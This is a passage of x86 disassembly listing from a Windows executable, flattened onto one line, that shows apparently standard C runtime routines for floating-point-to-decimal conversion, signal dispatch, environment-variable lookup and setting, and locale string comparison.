sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DB5AC mov eax, offset dword_4DB5AC jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DB5A8 mov eax, offset dword_4DB5A8 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DB5B0 mov eax, offset dword_4DB5B0 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DB5A4 mov eax, offset dword_4DB5A4 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DB380 and dword_4DB380, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43C97C mov dword_43C97C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43C970 mov ecx, dword_43C974 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43C900h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43C97C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DB380, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43C97C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C978 cmp dword_43C8FC, edx push esi mov eax, offset dword_43C8F8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43C8F8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8F8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DC950, 0 push ebx push esi mov esi, dword_4DB2D0 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB2D8, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB2D0 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC700 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC600[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB2A8, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB2A8, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43CDF8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43CF58 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DC704 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DC924 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB2D8 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DB5B8, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx nop call near ptr 25F0000h test eax, eax jz short loc_425F53 mov dword_4DB5B8, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CAE5C push eax push edi push eax push ebx push ebx nop call near ptr 25F068Dh test eax, eax jz loc_42616C mov dword_4DB5B8, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DB5B8 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25F068Dh nop jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB374 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 28E0000h test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2840000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2840000h test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F0000h jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB2D0 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB2D4 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB2D0, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB2D8, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2D0, eax jz short loc_42620F mov [eax], edi cmp dword_4DB2D8, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2D8, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB2D0 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz 